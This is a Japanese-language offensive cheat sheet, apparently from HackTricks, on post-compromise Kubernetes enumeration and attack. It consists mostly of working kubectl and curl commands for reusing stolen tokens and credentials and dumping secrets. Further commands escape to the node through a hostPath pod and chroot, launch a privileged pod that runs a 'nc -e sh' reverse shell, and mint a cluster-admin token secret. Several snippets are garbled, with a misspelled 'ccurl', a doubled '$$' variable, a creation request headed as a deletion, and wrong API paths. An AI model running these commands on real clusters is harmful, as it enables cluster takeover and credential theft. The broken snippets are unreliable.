# Kubernetes Enumeration {{#include ../../banners/hacktricks-training.md}} ## Kubernetes Tokens もしあなたがマシンへのアクセスを侵害した場合、ユーザーはKubernetesプラットフォームにアクセスできるかもしれません。トークンは通常、**env var `KUBECONFIG`**で指し示されるファイルか、**`~/.kube`**の中にあります。 このフォルダには、**APIサーバーに接続するためのトークンと設定を含む設定ファイル**が見つかるかもしれません。このフォルダには、以前に取得した情報を含むキャッシュフォルダもあります。 Kubernetes環境内のポッドを侵害した場合、トークンや現在のK8環境に関する情報を見つけることができる他の場所があります。 ### Service Account Tokens 続ける前に、Kubernetesにおけるサービスが何であるか知らない場合は、**このリンクをフォローしてKubernetesアーキテクチャに関する情報を少なくとも読むことをお勧めします。** Kubernetesの[ドキュメント](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server)からの引用: _「ポッドを作成する際、サービスアカウントを指定しない場合、同じ名前空間内のデフォルトサービスアカウントが自動的に割り当てられます。」_ **ServiceAccount**はKubernetesによって管理されるオブジェクトで、ポッド内で実行されるプロセスにアイデンティティを提供するために使用されます。\ すべてのサービスアカウントにはそれに関連するシークレットがあり、このシークレットにはベアラートークンが含まれています。これはJSON Web Token(JWT)であり、2者間での主張を安全に表現する方法です。 通常、次のディレクトリの**1つ**に含まれています: - `/run/secrets/kubernetes.io/serviceaccount` - `/var/run/secrets/kubernetes.io/serviceaccount` - `/secrets/kubernetes.io/serviceaccount` 含まれるファイル: - **ca.crt**: Kubernetes通信を確認するためのCA証明書です - **namespace**: 現在の名前空間を示します - **token**: 現在のポッドの**サービストークン**が含まれています。 トークンを取得したので、環境変数**`KUBECONFIG`**内でAPIサーバーを見つけることができます。詳細については、`(env | set) | grep -i "kuber|kube"`**`"`**を実行してください。 サービスアカウントトークンは、ファイル**sa.key**に存在するキーによって署名され、**sa.pub**によって検証されます。 **Kubernetes**のデフォルトの場所: - /etc/kubernetes/pki **Minikube**のデフォルトの場所: - /var/lib/localkube/certs ### Hot Pods _**Hot podsは**_ 特権サービスアカウントトークンを含むポッドです。特権サービスアカウントトークンは、シークレットのリスト作成、ポッドの作成などの特権タスクを実行する権限を持つトークンです。 ## RBAC **RBAC**が何であるか知らない場合は、**このセクションを読んでください**。 ## GUI Applications - **k9s**: ターミナルからKubernetesクラスターを列挙するGUIです。コマンドは[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/)で確認してください。`:namespace`と入力し、すべてを選択してから、すべての名前空間でリソースを検索します。 - **k8slens**: 無料トライアル日数を提供しています: [https://k8slens.dev/](https://k8slens.dev/) ## Enumeration CheatSheet K8s環境を列挙するには、次のものが必要です: - **有効な認証トークン**。前のセクションでユーザートークンとサービスアカウントトークンの検索場所を見ました。 - **Kubernetes APIのアドレス**(_**https://host:port**_)。これは通常、環境変数やkube設定ファイルに見つかります。 - **オプション**: **APIサーバーを検証するためのca.crt**。これはトークンが見つかるのと同じ場所にあります。これはAPIサーバー証明書を検証するのに役立ちますが、`kubectl`で`--insecure-skip-tls-verify`を使用するか、`curl`で`-k`を使用すれば必要ありません。 これらの詳細を使用して、**Kubernetesを列挙**できます。何らかの理由で**API**が**インターネット**を通じて**アクセス可能**であれば、その情報をダウンロードしてホストからプラットフォームを列挙できます。 しかし、通常**APIサーバーは内部ネットワーク内にあります**。したがって、侵害されたマシンを通じて**トンネルを作成**して自分のマシンからアクセスする必要があります。または、**kubectl**バイナリを**アップロード**するか、**`curl/wget/anything`**を使用してAPIサーバーに生のHTTPリクエストを実行できます。 ### Differences between `list` and `get` verbs **`get`**権限を持つと、特定の資産の情報にアクセスできます(_`kubectl`の`describe`オプション_)。 ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` **`list`** 権限がある場合、資産の種類をリストするための API リクエストを実行することが許可されます (_`kubectl` の `get` オプション_): ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments #In all namespaces GET /apis/apps/v1/deployments ``` **`watch`** 権限がある場合、資産を監視するためのAPIリクエストを実行することが許可されます: ``` GET /apis/apps/v1/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED] GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED] GET /apis/apps/v1/watch/deployments [DEPRECATED] ``` 彼らは、Deploymentが変更されるたび(または新しいものが作成されるとき)に、完全なマニフェストを返すストリーミング接続を開きます。 > [!CAUTION] > 次の `kubectl` コマンドは、オブジェクトをリストする方法を示しています。データにアクセスしたい場合は、`get` の代わりに `describe` を使用する必要があります。 ### curlを使用する ポッド内から、いくつかの環境変数を使用できます: ```bash export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS} export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace) export TOKEN=$(cat ${SERVICEACCOUNT}/token) export CACERT=${SERVICEACCOUNT}/ca.crt alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] > デフォルトでは、ポッドは **kube-api サーバー** に **`kubernetes.default.svc`** というドメイン名で **アクセス** でき、**`/etc/resolv.config`** で kube ネットワークを見ることができます。ここでは、kubernetes DNS サーバーのアドレスが見つかります(同じ範囲の ".1" が kube-api エンドポイントです)。 ### Using kubectl トークンと API サーバーのアドレスを持っている場合、ここに示されているように kubectl または curl を使用してアクセスします: デフォルトでは、APISERVER は `https://` スキーマで通信しています。 ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` > URLに`https://`がない場合、Bad Requestのようなエラーが発生する可能性があります。 [**公式のkubectlチートシートはこちら**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/)で見つけることができます。以下のセクションの目的は、アクセスを取得した新しいK8sを列挙し理解するためのさまざまなオプションを順序立てて提示することです。 `kubectl`が送信するHTTPリクエストを見つけるには、パラメータ`-v=8`を使用できます。 #### MitM kubectl - kubectlのプロキシ化 ```bash # Launch burp # Set proxy export HTTP_PROXY=http://localhost:8080 export HTTPS_PROXY=http://localhost:8080 # Launch kubectl kubectl get namespace --insecure-skip-tls-verify=true ``` ### 現在の構成 {{#tabs }} {{#tab name="Kubectl" }} ```bash kubectl config get-users kubectl config get-contexts kubectl config get-clusters kubectl config current-context # Change namespace kubectl config set-context --current --namespace= ``` {{#endtab }} {{#endtabs }} もしユーザーの資格情報を盗むことができたら、次のような方法で**ローカルに設定**できます: ```bash kubectl config set-credentials USER_NAME \ --auth-provider=oidc \ --auth-provider-arg=idp-issuer-url=( issuer url ) \ --auth-provider-arg=client-id=( your client id ) \ --auth-provider-arg=client-secret=( your client secret ) \ --auth-provider-arg=refresh-token=( your refresh token ) \ --auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \ --auth-provider-arg=id-token=( your id_token ) ``` ### サポートされているリソースの取得 この情報を使用すると、リストできるすべてのサービスを知ることができます。 {{#tabs }} {{#tab name="kubectl" }} ```bash k api-resources --namespaced=true #Resources specific to a namespace k api-resources --namespaced=false #Resources NOT specific to a namespace ``` {{#endtab }} {{#endtabs }} ### 現在の権限を取得 {{#tabs }} {{#tab name="kubectl" }} ```bash k auth can-i --list #Get privileges in general k auth can-i --list -n custnamespace #Get privileves in custnamespace # Get service account permissions k auth can-i --list --as=system:serviceaccount:: -n ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -i -s -k -X $'POST' \ -H $'Content-Type: application/json' \ --data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \ "https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" ``` {{#endtab }} {{#endtabs }} 特権を確認する別の方法は、ツールを使用することです: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* **Kubernetes RBAC** について詳しく学ぶには、以下を参照してください: {{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}} **どの特権を持っているかが分かったら、** 次のページを確認して **それらを悪用して特権を昇格できるかどうかを判断してください:** {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} ### 他の役割を取得する {{#tabs }} {{#tab name="kubectl" }} ```bash k get roles k get clusterroles ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500" kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500" ``` {{#endtab }} {{#endtabs }} ### 名前空間の取得 Kubernetesは、同じ物理クラスターに基づく**複数の仮想クラスター**をサポートしています。これらの仮想クラスターは**名前空間**と呼ばれます。 {{#tabs }} {{#tab name="kubectl" }} ```bash k get namespaces ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -k -v https://$APISERVER/api/v1/namespaces/ ``` {{#endtab }} {{#endtabs }} ### シークレットを取得する {{#tabs }} {{#tab name="kubectl" }} ```bash k get secrets -o yaml k get secrets -o yaml -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/ ``` {{#endtab }} {{#endtabs }} シークレットを読み取ることができれば、次の行を使用して各トークンに関連する権限を取得できます: ```bash for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done ``` ### サービスアカウントの取得 このページの冒頭で説明したように、**ポッドが実行されると通常サービスアカウントが割り当てられます**。したがって、サービスアカウント、権限、およびそれらが実行されている場所をリストアップすることで、ユーザーが権限を昇格させることができるかもしれません。 {{#tabs }} {{#tab name="kubectl" }} ```bash k get serviceaccounts ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts ``` {{#endtab }} {{#endtabs }} ### デプロイメントの取得 デプロイメントは、**実行**する必要がある**コンポーネント**を指定します。 {{#tabs }} {{#tab name="kubectl" }} ```bash k get deployments k get deployments -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces//deployments/ ``` {{#endtab }} {{#endtabs }} ### Podsを取得する Podsは実際に**実行**される**コンテナ**です。 {{#tabs }} {{#tab name="kubectl" }} ```bash k get pods k get pods -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces//pods/ ``` {{#endtab }} {{#endtabs }} ### サービスの取得 Kubernetes **サービス**は、**特定のポートとIPでサービスを公開するために使用されます**(これは、実際にサービスを提供しているポッドへのロードバランサーとして機能します)。これは、攻撃を試みるために他のサービスを見つける場所を知るのに興味深いです。 {{#tabs }} {{#tab name="kubectl" }} ```bash k get services k get services -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces/default/services/ ``` {{#endtab }} {{#endtabs }} ### ノードの取得 **クラスター内に構成されているすべてのノードを取得します**。 {{#tabs }} {{#tab name="kubectl" }} ```bash k get nodes ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/nodes/ ``` {{#endtab }} {{#endtabs }} ### DaemonSetsの取得 **DaemonSets**は、**特定のポッドがクラスタ内のすべてのノード(または選択されたノード)で実行されていることを保証**します。DaemonSetを削除すると、それによって管理されているポッドも削除されます。 {{#tabs }} {{#tab name="kubectl" }} ```bash k get daemonsets ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets ``` {{#endtab }} {{#endtabs }} ### Cronジョブを取得する Cronジョブは、crontabのような構文を使用して、特定のアクションを実行するポッドの起動をスケジュールすることを可能にします。 {{#tabs }} {{#tab name="kubectl" }} ```bash k get cronjobs ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces//cronjobs ``` {{#endtab }} {{#endtabs }} ### configMapを取得する configMapには常に多くの情報と、kubernetesで実行されるアプリに提供されるconfigfileが含まれています。通常、他の内部/外部サービスに接続し、検証するために使用される多くのパスワード、秘密、トークンを見つけることができます。 {{#tabs }} {{#tab name="kubectl" }} ```bash k get configmaps # -n namespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps ``` {{#endtab }} {{#endtabs }} ### ネットワークポリシー / Ciliumネットワークポリシーの取得 {{#tabs }} {{#tab name="最初のタブ" }} ```bash k get networkpolicies k get CiliumNetworkPolicies k get CiliumClusterwideNetworkPolicies ``` {{#endtab }} {{#endtabs }} ### すべてを取得 / すべて {{#tabs }} {{#tab name="kubectl" }} ```bash k get all ``` {{#endtab }} {{#endtabs }} ### **Helmによって管理されているすべてのリソースを取得する** {{#tabs }} {{#tab name="kubectl" }} ```bash k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm' ``` {{#endtab }} {{#endtabs }} ### **Podの消費量を取得する** {{#tabs }} {{#tab name="kubectl" }} ```bash k top pod --all-namespaces ``` {{#endtab }} {{#endtabs }} ## kubectlを使用せずにクラスターと対話する KubernetesのコントロールプレーンがRESTful APIを公開しているため、HTTPリクエストを手動で作成し、**curl**や**wget**などの他のツールで送信できます。 ### ポッドからの脱出 新しいポッドを作成できる場合、そこからノードに脱出できるかもしれません。そのためには、yamlファイルを使用して新しいポッドを作成し、作成したポッドに切り替え、次にノードのシステムにchrootします。既存のポッドをyamlファイルの参照として使用できます。既存のイメージやパスを表示しているためです。 ```bash kubectl get pod [-n ] -o yaml ``` > 特定のノードにポッドを作成する必要がある場合は、次のコマンドを使用してノードのラベルを取得できます。 > > `k get nodes --show-labels` > > 一般的に、kubernetes.io/hostname と node-role.kubernetes.io/master は選択するのに適したラベルです。 その後、attack.yaml ファイルを作成します。 ```yaml apiVersion: v1 kind: Pod metadata: labels: run: attacker-pod name: attacker-pod namespace: default spec: volumes: - name: host-fs hostPath: path: / containers: - image: ubuntu imagePullPolicy: Always name: attacker-pod command: ["/bin/sh", "-c", "sleep infinity"] volumeMounts: - name: host-fs mountPath: /root restartPolicy: Never # nodeName and nodeSelector enable one of them when you need to create pod on the specific node #nodeName: master #nodeSelector: # kubernetes.io/hostname: master # or using # node-role.kubernetes.io/master: "" ``` その後、ポッドを作成します。 ```bash kubectl apply -f attacker.yaml [-n ] ``` 次のように作成したポッドに切り替えることができます。 ```bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file ``` そして最終的に、ノードのシステムにchrootします。 ```bash chroot /root /bin/bash ``` 情報は次のから取得されました: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) ### 特権ポッドの作成 対応するyamlファイルは次のとおりです: ```yaml apiVersion: v1 kind: Pod metadata: name: everything-allowed-exec-pod labels: app: pentest spec: hostNetwork: true hostPID: true hostIPC: true containers: - name: everything-allowed-pod image: alpine securityContext: privileged: true volumeMounts: - mountPath: /host name: noderoot command: [ "/bin/sh", "-c", "--" ] args: [ "nc -e sh" ] #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name volumes: - name: noderoot hostPath: path: / ``` ポッドをcurlで作成する: ```bash CONTROL_PLANE_HOST="" TOKEN="" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 478' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` ### Podを削除する curlを使用してPodを削除する: ```bash CONTROL_PLANE_HOST="" TOKEN="" POD_NAME="everything-allowed-exec-pod" curl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'Content-Length: 35' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" ``` ### サービスアカウントの作成 ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Content-Type: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Length: 109' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` ### サービスアカウントの削除 ```bash CONTROL_PLANE_HOST="" TOKEN="" SA_NAME="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME" ``` ### ロールを作成する ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Content-Type: application/json' \ -H $'Accept: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 203' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` ### ロールの削除 ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" ROLE_NAME="" curl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'Content-Length: 35' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME" ``` ### ロールバインディングの作成 ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 816' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` ### ロールバインディングの削除 ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" ROLE_BINDING_NAME="" curl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'Content-Length: 35' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME" ``` ### シークレットの削除 ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'Content-Length: 219' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` ### シークレットの削除 ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" SECRET_NAME="" ccurl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Content-Type: application/json' \ -H $'Accept: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 35' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME" ``` ## 参考文献 {{#ref}} https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3 {{#endref}} {{#include ../../banners/hacktricks-training.md}}